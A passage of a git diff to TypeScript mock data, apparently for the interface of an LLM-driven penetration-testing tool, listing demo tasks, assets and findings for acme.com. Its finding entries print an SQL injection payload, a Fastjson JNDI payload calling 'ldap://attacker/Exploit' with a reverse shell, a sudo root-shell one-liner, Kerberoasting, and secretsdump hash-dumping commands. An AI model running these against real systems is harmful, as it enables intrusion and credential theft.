DailyTokenBucket, + Edge, + Finding, + InterceptApprovalRow, + InterceptPending, + InterceptRule, + LLMPoolStatus, + LLMProfile, + LLMTask, + MCPServer, + MCPTool, + MissingSkill, + PromptVar, + PromptVersion, + SessionTokenUsage, + Settings, + SkillCall, + SkillItem, + Stats, + Task, + TaskCategory, + TaskNode, + TaskTemplate, + TokenTotal, + TokenUsage, + Tool, + TrafficDetail, + TrafficHost, + TrafficResp, } from "@/lib/types"; const T = (iso: string) => iso; // readability helper for timestamps @@ -19,6 +51,8 @@ export const ACTIVE_TASK = "t-acme-web"; export const tasks: Task[] = [ { id: "t-acme-web", + category_id: 1, + category_name: "外部评估", description: "Acme 官网与后台外部渗透(acme.com)", goal: "拿到 acme.com 后台管理权限,确认可读取用户敏感数据。", status: "running", @@ -26,13 +60,24 @@ export const tasks: Task[] = [ created_unix: 1785489120, last_activity: T("2026-07-26T03:58:22Z"), last_activity_unix: 1785643102, - paused: false, active: true, in_flight: 3, stalled: false, - goals_total: 5, goals_met: 2, engine_mode: "exploring", + paused: false, + active: true, + in_flight: 3, + stalled: false, + goals_total: 5, + goals_met: 2, + engine_mode: "exploring", llm_profile_id: 1, + llm_profile_ids: [1, 2], + active_llm_profile_id: 1, + llm_failover_state: "ready", + source_task_ids: [], tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 }, }, { id: "t-acme-api", + category_id: 2, + category_name: "API 专项", description: "api.acme.com 越权与注入测试", goal: "评估 api.acme.com 订单/用户接口的越权(IDOR)与注入风险。", status: "running", @@ -40,13 +85,24 @@ export const tasks: Task[] = [ created_unix: 1785592500, last_activity: T("2026-07-26T03:40:10Z"), last_activity_unix: 1785642010, - paused: false, active: false, in_flight: 2, stalled: false, - goals_total: 4, goals_met: 1, engine_mode: "exploring", + paused: false, + active: false, + in_flight: 2, + stalled: false, + goals_total: 4, + goals_met: 1, + engine_mode: "exploring", llm_profile_id: 1, + llm_profile_ids: [1, 2], + active_llm_profile_id: 1, + llm_failover_state: "ready", + source_task_ids: ["t-acme-web"], tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 }, }, { id: "t-shop-pay", + category_id: 2, + category_name: "API 专项", description: "shop.acme.com 支付与订单链路", goal: "评估支付与订单接口的越权、金额篡改与竞态风险。", status: "paused", @@ -54,13 +110,24 @@ export const tasks: Task[] = [ created_unix: 1785313800, last_activity: T("2026-07-23T18:40:10Z"), last_activity_unix: 1785436810, - paused: true, active: false, in_flight: 0, stalled: false, - goals_total: 4, goals_met: 1, engine_mode: "paused", + paused: true, + active: false, + in_flight: 0, + stalled: false, + goals_total: 4, + goals_met: 1, + engine_mode: "paused", llm_profile_id: 2, + llm_profile_ids: [2, 1], + active_llm_profile_id: 2, + llm_failover_state: "ready", + source_task_ids: ["t-acme-web", "t-acme-api"], tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 }, }, { id: "t-vpn-edge", + category_id: 1, + category_name: "外部评估", description: "对外暴露面侦察(VPN / 边界服务)", goal: "识别 acme.com 对外暴露的可利用边界服务。", status: "done", @@ -70,13 +137,58 @@ export const tasks: Task[] = [ completed_unix: 1785190260, last_activity: T("2026-07-20T22:11:00Z"), last_activity_unix: 1785190260, - paused: false, active: false, in_flight: 0, stalled: false, - goals_total: 3, goals_met: 3, engine_mode: "idle", + paused: false, + active: false, + in_flight: 0, + stalled: false, + goals_total: 3, + goals_met: 3, + engine_mode: "idle", llm_profile_id: 1, + llm_profile_ids: [1], + active_llm_profile_id: 1, + llm_failover_state: "ready", + source_task_ids: [], tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 }, }, ]; +export const taskCategories: TaskCategory[] = [ + { + id: 1, + name: "外部评估", + task_count: 2, + created_at: T("2026-07-18T08:00:00Z"), + updated_at: T("2026-07-25T08:00:00Z"), + }, + { + id: 2, + name: "API 专项", + task_count: 2, + created_at: T("2026-07-19T08:00:00Z"), + updated_at: T("2026-07-24T08:00:00Z"), + }, +]; + +export const taskTemplates: TaskTemplate[] = [ + { + id: 1, + name: "外部 Web 渗透", + description: "对目标互联网暴露面开展黑盒渗透测试,覆盖站点、接口和常见管理入口。", + goal: "识别并验证可造成未授权访问、敏感数据泄露或服务器失陷的安全问题。", + created_at: T("2026-07-20T08:00:00Z"), + updated_at: T("2026-07-25T08:00:00Z"), + }, + { + id: 2, + name: "API 越权专项", + description: "围绕目标 API 的身份认证、对象级授权和角色边界开展专项测试。", + goal: "确认是否存在 IDOR、水平越权、垂直越权及批量数据访问风险。", + created_at: T("2026-07-19T08:00:00Z"), + updated_at: T("2026-07-24T08:00:00Z"), + }, +]; + export const getTask = (id: string) => tasks.find((t) => t.id === id); const grandTotal: TokenTotal = tasks.reduce( @@ -90,23 +202,33 @@ const grandTotal: TokenTotal = tasks.reduce( ); // ── Stats ────────────────────────────────────────────────────────────────── -export function stats(taskId?: string): Stats & { active_task?: unknown } { +export function stats( + taskId?: string, + state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {}, +): Stats & { active_task?: unknown } { + const taskList = state.tasks ?? tasks; + const findingList = state.findings ?? findings; const base: Stats = { assets: assets.length, engine_mode: "exploring", llm_configured: true, roe_enabled: true, - findings_confirmed: findings.filter((f) => f.severity !== "low").length, + findings_confirmed: findingList.filter((f) => f.severity !== "low").length, }; - const t = taskId ? getTask(taskId) : getTask(ACTIVE_TASK); + const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK; + const t = taskList.find((item) => item.id === selectedTaskID); if (!t) return base; return { ...base, engine_mode: t.engine_mode ?? "idle", - findings_confirmed: findings.filter((f) => f.task_id === t.id).length, + findings_confirmed: findingList.filter((f) => f.task_id === t.id).length, active_task: { - id: t.id, in_flight: t.in_flight, goals_total: t.goals_total, - goals_met: t.goals_met, engine_mode: t.engine_mode, paused: t.paused, + id: t.id, + in_flight: t.in_flight, + goals_total: t.goals_total, + goals_met: t.goals_met, + engine_mode: t.engine_mode, + paused: t.paused, }, }; } @@ -114,7 +236,9 @@ export function stats(taskId?: string): Stats & { active_task?: unknown } { // ── Company + Assets (new unified model) ───────────────────────────────────── export const companies: Company[] = [ { - id: 1, name: "Acme Corp", logo: "", + id: 1, + name: "Acme Corp", + logo: "", asset_count: 18, scope: [ { id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域" }, @@ -125,33 +249,315 @@ export const companies: Company[] = [ ]; export const assets: Asset[] = [ - { id: 1, type: "root_domain", company_id: 1, task_ids: [1], domain: "acme.com", root_domain: "acme.com", icp: "京ICP备2021xxxx号", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:00:00Z") }, - { id: 2, type: "subdomain", company_id: 1, task_ids: [1], domain: "www.acme.com", root_domain: "acme.com", record_type: "CNAME", record_value: "acme.com", last_seen: T("2026-07-26T02:01:00Z") }, - { id: 3, type: "subdomain", company_id: 1, task_ids: [2], domain: "api.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.11"], last_seen: T("2026-07-26T02:02:00Z") }, - { id: 4, type: "subdomain", company_id: 1, task_ids: [3], domain: "shop.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.12"], last_seen: T("2026-07-26T02:03:00Z") }, - { id: 5, type: "subdomain", company_id: 1, task_ids: [4], domain: "vpn.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["198.51.100.20"], last_seen: T("2026-07-20T02:00:00Z") }, - { id: 6, type: "subdomain", company_id: 1, task_ids: [1], domain: "admin.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:04:00Z") }, - { id: 7, type: "ip", company_id: 1, task_ids: [1, 2], ip: "203.0.113.10", c_segment: "203.0.113.0", open_ports: [{ port: 80, service: "http" }, { port: 443, service: "https" }, { port: 22, service: "ssh" }], last_seen: T("2026-07-26T02:05:00Z") }, - { id: 8, type: "ip", company_id: 1, task_ids: [2], ip: "203.0.113.11", c_segment: "203.0.113.0", open_ports: [{ port: 443, service: "https" }], last_seen: T("2026-07-26T02:06:00Z") }, - { id: 9, type: "ip", company_id: 1, task_ids: [4], ip: "198.51.100.20", c_segment: "198.51.100.0", open_ports: [{ port: 443, service: "https" }, { port: 500, service: " isakmp" }], last_seen: T("2026-07-20T02:00:00Z") }, - { id: 10, type: "service", company_id: 1, task_ids: [1], ip: "203.0.113.10", port: 443, service_type: "https", service_name: "nginx/1.24.0", last_seen: T("2026-07-26T02:07:00Z") }, - { id: 11, type: "service", company_id: 1, task_ids: [4], ip: "198.51.100.20", port: 22, service_type: "ssh", service_name: "OpenSSH 8.9p1", last_seen: T("2026-07-20T02:00:00Z") }, - { id: 12, type: "app", company_id: 1, task_ids: [1], url: "https://www.acme.com", app_name: "Acme 官网", category: "corp", status_code: 200, content_length: 48213, page_title: "Acme Corp — 企业官网", technologies: ["Nginx", "React", "Cloudflare"], favicon_mmh3: "-1580860059", last_seen: T("2026-07-26T02:08:00Z") }, - { id: 13, type: "app", company_id: 1, task_ids: [1], url: "https://admin.acme.com", app_name: "后台管理", category: "admin", status_code: 200, content_length: 12044, page_title: "Acme Admin 登录", technologies: ["Nginx", "Vue", "Element-UI"], last_seen: T("2026-07-26T02:09:00Z") }, - { id: 14, type: "app", company_id: 1, task_ids: [2], url: "https://api.acme.com", app_name: "REST API", category: "api", status_code: 401, content_length: 45, page_title: "", technologies: ["Kong", "Node.js"], last_seen: T("2026-07-26T02:10:00Z") }, - { id: 15, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/orders", method: "GET", status_code: 200, params: [{ name: "id", in: "query" }, { name: "page", in: "query" }], last_seen: T("2026-07-26T02:11:00Z") }, - { id: 16, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/users/me", method: "GET", status_code: 200, last_seen: T("2026-07-26T02:12:00Z") }, - { id: 17, type: "endpoint", company_id: 1, task_ids: [1], url: "https://admin.acme.com/login", method: "POST", status_code: 200, params: [{ name: "username" }, { name: "password" }], last_seen: T("2026-07-26T02:13:00Z") }, - { id: 18, type: "endpoint", company_id: 1, task_ids: [1], url: "https://www.acme.com/search", method: "GET", status_code: 200, params: [{ name: "q", in: "query" }], last_seen: T("2026-07-26T02:14:00Z") }, + { + id: 1, + type: "root_domain", + company_id: 1, + task_ids: [1], + domain: "acme.com", + root_domain: "acme.com", + icp: "京ICP备2021xxxx号", + record_type: "A", + record_value: ["203.0.113.10"], + last_seen: T("2026-07-26T02:00:00Z"), + }, + { + id: 2, + type: "subdomain", + company_id: 1, + task_ids: [1], + domain: "www.acme.com", + root_domain: "acme.com", + record_type: "CNAME", + record_value: "acme.com", + last_seen: T("2026-07-26T02:01:00Z"), + }, + { + id: 3, + type: "subdomain", + company_id: 1, + task_ids: [2], + domain: "api.acme.com", + root_domain: "acme.com", + record_type: "A", + record_value: ["203.0.113.11"], + last_seen: T("2026-07-26T02:02:00Z"), + }, + { + id: 4, + type: "subdomain", + company_id: 1, + task_ids: [3], + domain: "shop.acme.com", + root_domain: "acme.com", + record_type: "A", + record_value: ["203.0.113.12"], + last_seen: T("2026-07-26T02:03:00Z"), + }, + { + id: 5, + type: "subdomain", + company_id: 1, + task_ids: [4], + domain: "vpn.acme.com", + root_domain: "acme.com", + record_type: "A", + record_value: ["198.51.100.20"], + last_seen: T("2026-07-20T02:00:00Z"), + }, + { + id: 6, + type: "subdomain", + company_id: 1, + task_ids: [1], + domain: "admin.acme.com", + root_domain: "acme.com", + record_type: "A", + record_value: ["203.0.113.10"], + last_seen: T("2026-07-26T02:04:00Z"), + }, + { + id: 7, + type: "ip", + company_id: 1, + task_ids: [1, 2], + ip: "203.0.113.10", + c_segment: "203.0.113.0", + open_ports: [ + { port: 80, service: "http" }, + { port: 443, service: "https" }, + { port: 22, service: "ssh" }, + ], + last_seen: T("2026-07-26T02:05:00Z"), + }, + { + id: 8, + type: "ip", + company_id: 1, + task_ids: [2], + ip: "203.0.113.11", + c_segment: "203.0.113.0", + open_ports: [{ port: 443, service: "https" }], + last_seen: T("2026-07-26T02:06:00Z"), + }, + { + id: 9, + type: "ip", + company_id: 1, + task_ids: [4], + ip: "198.51.100.20", + c_segment: "198.51.100.0", + open_ports: [ + { port: 443, service: "https" }, + { port: 500, service: " isakmp" }, + ], + last_seen: T("2026-07-20T02:00:00Z"), + }, + { + id: 10, + type: "service", + company_id: 1, + task_ids: [1], + ip: "203.0.113.10", + port: 443, + service_type: "https", + service_name: "nginx/1.24.0", + last_seen: T("2026-07-26T02:07:00Z"), + }, + { + id: 11, + type: "service", + company_id: 1, + task_ids: [4], + ip: "198.51.100.20", + port: 22, + service_type: "ssh", + service_name: "OpenSSH 8.9p1", + last_seen: T("2026-07-20T02:00:00Z"), + }, + { + id: 12, + type: "app", + company_id: 1, + task_ids: [1], + url: "https://www.acme.com", + app_name: "Acme 官网", + category: "corp", + status_code: 200, + content_length: 48213, + page_title: "Acme Corp — 企业官网", + technologies: ["Nginx", "React", "Cloudflare"], + favicon_mmh3: "-1580860059", + last_seen: T("2026-07-26T02:08:00Z"), + }, + { + id: 13, + type: "app", + company_id: 1, + task_ids: [1], + url: "https://admin.acme.com", + app_name: "后台管理", + category: "admin", + status_code: 200, + content_length: 12044, + page_title: "Acme Admin 登录", + technologies: ["Nginx", "Vue", "Element-UI"], + last_seen: T("2026-07-26T02:09:00Z"), + }, + { + id: 14, + type: "app", + company_id: 1, + task_ids: [2], + url: "https://api.acme.com", + app_name: "REST API", + category: "api", + status_code: 401, + content_length: 45, + page_title: "", + technologies: ["Kong", "Node.js"], + last_seen: T("2026-07-26T02:10:00Z"), + }, + { + id: 15, + type: "endpoint", + company_id: 1, + task_ids: [2], + url: "https://api.acme.com/v1/orders", + method: "GET", + status_code: 200, + params: [ + { name: "id", in: "query" }, + { name: "page", in: "query" }, + ], + last_seen: T("2026-07-26T02:11:00Z"), + }, + { + id: 16, + type: "endpoint", + company_id: 1, + task_ids: [2], + url: "https://api.acme.com/v1/users/me", + method: "GET", + status_code: 200, + last_seen: T("2026-07-26T02:12:00Z"), + }, + { + id: 17, + type: "endpoint", + company_id: 1, + task_ids: [1], + url: "https://admin.acme.com/login", + method: "POST", + status_code: 200, + params: [{ name: "username" }, { name: "password" }], + last_seen: T("2026-07-26T02:13:00Z"), + }, + { + id: 18, + type: "endpoint", + company_id: 1, + task_ids: [1], + url: "https://www.acme.com/search", + method: "GET", + status_code: 200, + params: [{ name: "q", in: "query" }], + last_seen: T("2026-07-26T02:14:00Z"), + }, // 内网资产(DMZ→内网横向发现) - { id: 19, type: "ip", company_id: 1, task_ids: [1], ip: "10.0.20.15", c_segment: "10.0.20.0", open_ports: [{ port: 80, service: "http" }, { port: 22, service: "ssh" }], last_seen: T("2026-07-25T15:40:00Z") }, - { id: 20, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.10", c_segment: "10.10.10.0", open_ports: [{ port: 88, service: "kerberos" }, { port: 389, service: "ldap" }, { port: 445, service: "smb" }], last_seen: T("2026-07-25T21:00:00Z") }, - { id: 21, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.5", c_segment: "10.10.10.0", open_ports: [{ port: 445, service: "smb" }], last_seen: T("2026-07-25T21:00:00Z") }, - { id: 22, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.20", c_segment: "10.10.10.0", open_ports: [{ port: 8080, service: "http-proxy" }], last_seen: T("2026-07-25T21:00:00Z") }, - { id: 23, type: "service", company_id: 1, task_ids: [1], ip: "10.10.10.20", port: 8080, service_type: "http", service_name: "Jenkins 2.289", last_seen: T("2026-07-25T21:35:00Z") }, - { id: 24, type: "service", company_id: 1, task_ids: [1], ip: "10.10.10.10", port: 445, service_type: "smb", service_name: "Windows Server 2019 DC", last_seen: T("2026-07-25T23:55:00Z") }, - { id: 25, type: "app", company_id: 1, task_ids: [1], url: "http://10.10.10.20:8080", app_name: "Jenkins (内部)", category: "ci", status_code: 200, content_length: 14200, page_title: "Jenkins Dashboard", technologies: ["Jenkins", "Java"], last_seen: T("2026-07-25T21:35:00Z") }, - { id: 26, type: "endpoint", company_id: 1, task_ids: [1], url: "http://10.10.10.20:8080/script", method: "GET", status_code: 200, last_seen: T("2026-07-25T21:35:00Z") }, + { + id: 19, + type: "ip", + company_id: 1, + task_ids: [1], + ip: "10.0.20.15", + c_segment: "10.0.20.0", + open_ports: [ + { port: 80, service: "http" }, + { port: 22, service: "ssh" }, + ], + last_seen: T("2026-07-25T15:40:00Z"), + }, + { + id: 20, + type: "ip", + company_id: 1, + task_ids: [1], + ip: "10.10.10.10", + c_segment: "10.10.10.0", + open_ports: [ + { port: 88, service: "kerberos" }, + { port: 389, service: "ldap" }, + { port: 445, service: "smb" }, + ], + last_seen: T("2026-07-25T21:00:00Z"), + }, + { + id: 21, + type: "ip", + company_id: 1, + task_ids: [1], + ip: "10.10.10.5", + c_segment: "10.10.10.0", + open_ports: [{ port: 445, service: "smb" }], + last_seen: T("2026-07-25T21:00:00Z"), + }, + { + id: 22, + type: "ip", + company_id: 1, + task_ids: [1], + ip: "10.10.10.20", + c_segment: "10.10.10.0", + open_ports: [{ port: 8080, service: "http-proxy" }], + last_seen: T("2026-07-25T21:00:00Z"), + }, + { + id: 23, + type: "service", + company_id: 1, + task_ids: [1], + ip: "10.10.10.20", + port: 8080, + service_type: "http", + service_name: "Jenkins 2.289", + last_seen: T("2026-07-25T21:35:00Z"), + }, + { + id: 24, + type: "service", + company_id: 1, + task_ids: [1], + ip: "10.10.10.10", + port: 445, + service_type: "smb", + service_name: "Windows Server 2019 DC", + last_seen: T("2026-07-25T23:55:00Z"), + }, + { + id: 25, + type: "app", + company_id: 1, + task_ids: [1], + url: "http://10.10.10.20:8080", + app_name: "Jenkins (内部)", + category: "ci", + status_code: 200, + content_length: 14200, + page_title: "Jenkins Dashboard", + technologies: ["Jenkins", "Java"], + last_seen: T("2026-07-25T21:35:00Z"), + }, + { + id: 26, + type: "endpoint", + company_id: 1, + task_ids: [1], + url: "http://10.10.10.20:8080/script", + method: "GET", + status_code: 200, + last_seen: T("2026-07-25T21:35:00Z"), + }, ]; export const assetCounts: Record = assets.reduce>((m, a) => { @@ -161,24 +567,217 @@ export const assetCounts: Record = assets.reducealert(document.domain) 原样回显于结果标题。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T22:10:00Z") }, - { id: "f-5", vulnclass: "Exposed .git", severity: "medium", status: "pending", summary: "www.acme.com 暴露 .git 目录,可还原源码", evidence: "GET /.git/HEAD → 200;git-dumper 还原出后端源码与数据库连接串注释。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:30:00Z") }, - { id: "f-6", vulnclass: "Default Credentials", severity: "high", status: "pending", summary: "admin.acme.com 后台默认口令 admin/admin123", evidence: "登录成功,进入管理后台,可管理用户与订单。", intent_id: "i-3", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-26T03:50:00Z") }, - { id: "f-7", vulnclass: "Open Redirect", severity: "low", status: "pending", summary: "登录后 next 参数任意跳转", evidence: "/login?next=https://evil.example 登录后 302 跳到外站。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T19:12:00Z") }, - { id: "f-8", vulnclass: "Missing Rate Limit", severity: "medium", status: "pending", summary: "登录接口无速率限制,可暴力破解", evidence: "1000 次/分钟无锁定,无验证码。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T18:40:00Z") }, - { id: "f-9", vulnclass: "Verbose Error", severity: "low", status: "pending", summary: "API 500 返回堆栈,泄露路径与框架版本", evidence: "触发 500 返回 Node.js 堆栈,泄露绝对路径与依赖版本。", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-25T23:05:00Z") }, - { id: "f-10", vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") }, + { + id: "f-1", + vulnclass: "SQL Injection", + name: "官网搜索接口报错型 SQL 注入", + severity: "high", + status: "pending", + report: + '## 漏洞概述\n\n`www.acme.com/search` 的 `q` 参数存在**报错型 SQL 注入**(MSSQL),可读取数据库版本、库结构乃至敏感数据。\n\n## 影响\n\n- 可读取 `acme_prod` 库的表结构与用户/订单数据\n- 报错回显便于快速构造利用,风险高\n\n## 复现步骤\n\n1. 触发报错注入:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 响应回显 MSSQL 版本报错,确认可注入\n3. 进一步枚举库:`sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 修复建议\n\n- 全部改用参数化查询/预编译语句,杜绝字符串拼接\n- 关闭生产环境详细报错回显\n- 数据库账号最小权限,禁用 `xp_cmdshell` 等危险扩展\n', + summary: "www.acme.com/search q 参数存在报错型 SQL 注入", + evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本报错,可读库结构。", + intent_id: "i-2", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-26T01:20:00Z"), + }, + { + id: "f-2", + vulnclass: "IDOR", + severity: "high", + status: "pending", + summary: "api.acme.com/v1/orders?id= 可越权读取他人订单", + evidence: "将 id=1001 改为 id=1002 返回他人订单(含收货地址、手机号),无归属校验。", + intent_id: "i-5", + task_id: "t-acme-api", + task_description: "api.acme.com 越权与注入测试", + ts: T("2026-07-26T02:44:00Z"), + }, + { + id: "f-3", + vulnclass: "Weak JWT", + severity: "high", + status: "pending", + summary: "API JWT 使用弱密钥、可离线爆破伪造", + evidence: "HS256,密钥 'secret',john 5 秒破解 → 可伪造任意 sub 越权。", + task_id: "t-acme-api", + task_description: "api.acme.com 越权与注入测试", + ts: T("2026-07-26T03:02:00Z"), + }, + { + id: "f-4", + vulnclass: "Reflected XSS", + severity: "medium", + status: "pending", + summary: "搜索页对 q 参数未转义,反射型 XSS", + evidence: "q= 原样回显于结果标题。", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T22:10:00Z"), + }, + { + id: "f-5", + vulnclass: "Exposed .git", + severity: "medium", + status: "pending", + summary: "www.acme.com 暴露 .git 目录,可还原源码", + evidence: "GET /.git/HEAD → 200;git-dumper 还原出后端源码与数据库连接串注释。", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T20:30:00Z"), + }, + { + id: "f-6", + vulnclass: "Default Credentials", + severity: "high", + status: "pending", + summary: "admin.acme.com 后台默认口令 admin/admin123", + evidence: "登录成功,进入管理后台,可管理用户与订单。", + intent_id: "i-3", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-26T03:50:00Z"), + }, + { + id: "f-7", + vulnclass: "Open Redirect", + severity: "low", + status: "pending", + summary: "登录后 next 参数任意跳转", + evidence: "/login?next=https://evil.example 登录后 302 跳到外站。", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T19:12:00Z"), + }, + { + id: "f-8", + vulnclass: "Missing Rate Limit", + severity: "medium", + status: "pending", + summary: "登录接口无速率限制,可暴力破解", + evidence: "1000 次/分钟无锁定,无验证码。", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T18:40:00Z"), + }, + { + id: "f-9", + vulnclass: "Verbose Error", + severity: "low", + status: "pending", + summary: "API 500 返回堆栈,泄露路径与框架版本", + evidence: "触发 500 返回 Node.js 堆栈,泄露绝对路径与依赖版本。", + task_id: "t-acme-api", + task_description: "api.acme.com 越权与注入测试", + ts: T("2026-07-25T23:05:00Z"), + }, + { + id: "f-10", + vulnclass: "Outdated Component", + severity: "medium", + status: "pending", + summary: "shop 使用存在已知 RCE 的老版本组件", + evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", + task_id: "t-shop-pay", + task_description: "shop.acme.com 支付与订单链路", + ts: T("2026-07-23T15:00:00Z"), + }, // ── 外网→内网纵深链路上的高危发现(active task)── - { id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "泄露源码中硬编码数据库凭据 sa/Acme@2021", evidence: "git-dumper 还原 www.acme.com/.git 得到 config.php,内含明文 DB 口令,后续被证实可在内网复用。", intent_id: "ig", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:36:00Z") }, - { id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 接口使用 **Fastjson 1.2.24** 解析用户可控 JSON,未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 结合后续提权,成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/Exploit\",\"autoCommit\":true}\n```\n\n2. `POST /api/import`,`Content-Type: application/json`\n3. 目标回连 dnslog,落地反弹 shell\n\n## 修复建议\n\n- 升级 Fastjson 至 **1.2.83+** 并开启 `safeMode`\n- `/api/import` 增加鉴权与来源校验\n- 出网限制:禁止业务服务器主动外联 LDAP/RMI\n", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") }, - { id: "f-13", vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ 立足点 sudo NOPASSWD 错配可本地提权 root", evidence: "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 直接拿 root。", intent_id: "i8", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T16:20:00Z") }, - { id: "f-14", vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ 主机双网卡直连内网,边界隔离失效", evidence: "dmz-web01 第二网卡在 10.10.10.0/24,可从 DMZ 直达域控/文件服务器/Jenkins,越过网络分区。", intent_id: "i9", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:00:00Z") }, - { id: "f-15", vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "内部 Jenkins 未授权 Script Console 远程命令执行", evidence: "GET /script 无需登录即可执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库导出域账号 acme\\svc_deploy。", intent_id: "i11", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:50:00Z") }, - { id: "f-16", vulnclass: "Kerberoasting", severity: "high", status: "pending", summary: "域服务账号 svc_sql 可被 Kerberoast 且口令弱", evidence: "GetUserSPNs 请求 svc_sql 的 TGS,hashcat -m 13100 离线破出 Sql@2020,该账号属于 SQL 管理组。", intent_id: "i12", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T23:20:00Z") }, - { id: "f-17", vulnclass: "Domain Compromise", name: "内网域控 DC01 完全控制(Domain Admin)", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n经外网 Fastjson RCE 立足 DMZ,再由 sudo 提权、双网卡穿透、Jenkins 未授权 RCE 拿到域账号 `svc_deploy`;该账号属于 **Domain Admins**,最终完全控制域控 **DC01**。\n\n## 影响\n\n- 取得域管理员权限,可控制全域主机与账号\n- `secretsdump` 导出全域 NTLM 哈希(含 `krbtgt`),可制作黄金票据长期潜伏\n- 内部靶标达成\n\n## 复现步骤\n\n1. 以 `svc_deploy` 登录并导出哈希:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. 获得 DC01 的 SYSTEM 权限,导出域内全部哈希\n\n## 修复建议\n\n- 收敛服务账号权限,移出 Domain Admins,落实分层管理(tiering)\n- 连续两次重置 `krbtgt`,轮换服务账号强口令\n- 修复 DMZ→内网边界隔离与前述 RCE/提权链\n", summary: "拿下域控 DC01(Domain Admin)—— 内部靶标达成", evidence: "svc_deploy 属于 Domain Admins,psexec.py 以其登录 DC01 得 SYSTEM,secretsdump 导出全域 NTLM 哈希(含 krbtgt),完成靶标控制。", intent_id: "i13", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-26T00:20:00Z") }, + { + id: "f-11", + vulnclass: "Hardcoded Credentials", + severity: "high", + status: "pending", + summary: "泄露源码中硬编码数据库凭据 sa/Acme@2021", + evidence: "git-dumper 还原 www.acme.com/.git 得到 config.php,内含明文 DB 口令,后续被证实可在内网复用。", + intent_id: "ig", + task_id: "t-acme-web", + task_description: "Acme 官网与后台外部渗透", + ts: T("2026-07-25T20:36:00Z"), + }, + { + id: "f-12", + vulnclass: "Deserialization RCE", + name: "shop 商城 Fastjson 反序列化远程命令执行", + severity: "critical", + status: "confirmed", + report: + '## 漏洞概述\n\n`shop.acme.com` 的 